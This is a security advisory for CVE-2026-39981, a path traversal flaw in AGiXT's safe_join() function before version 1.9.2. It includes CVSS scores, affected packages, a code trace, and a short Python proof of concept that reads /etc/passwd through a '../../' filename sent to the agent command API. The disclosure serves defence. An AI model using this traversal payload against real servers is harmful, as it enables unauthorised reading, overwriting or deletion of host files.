CVE-2026-39981
JSON

8.8high

AGiXT has a Path Traversal in safe_join()

Severity
8.8high CVSS:3.1 by GitHub_M
Exploit likelihood
1.37% (higher than 72% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-5gfj-64gh-mgmwPYSEC-2026-2093

Description

AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.

Affected

Product or packageVersionsReported by
Josh-XT AGiXT< 1.9.2CVE List
agixt (PyPI)before 1.9.2GitHub Advisory Database, PyPA Advisory Database
agixt agixtbefore 1.9.2NVD

All scores

GitHub_M8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
GitHub8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
PyPA Advisory Database8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-22

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.

GitHub Advisory Database
Summary

The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

Details

agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)

# source
command_args = command.command_args

# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)

# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))
PoC
# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
 
import requests
 
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
 
headers = {"Authorization": f"Bearer {TOKEN}"}
 
payload = {
    "command_name": "read_file",
    "command_args": {
        "filename": "../../etc/passwd"
    }
}
 
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...
Impact

Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

NVD (es)

AGiXT es una plataforma dinámica de automatización de agentes de IA. Antes de la versión 1.9.2, la función safe_join() en la extensión essential_abilities no valida que las rutas de archivo resueltas permanezcan dentro del espacio de trabajo del agente designado. Un atacante autenticado puede usar secuencias de salto de directorio para leer, escribir o eliminar archivos arbitrarios en el servidor que aloja la instancia de AGiXT. Esta vulnerabilidad se corrigió en la versión 1.9.2.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-39981 changed 2026-04-13CVE Terms of Use
GitHub Advisory DatabaseGHSA-5gfj-64gh-mgmw changed 2026-07-13CC-BY-4.0
NVDCVE-2026-39981 changed 2026-10-26Public domain
PyPA Advisory DatabasePYSEC-2026-2093 changed 2026-07-13CC-BY-4.0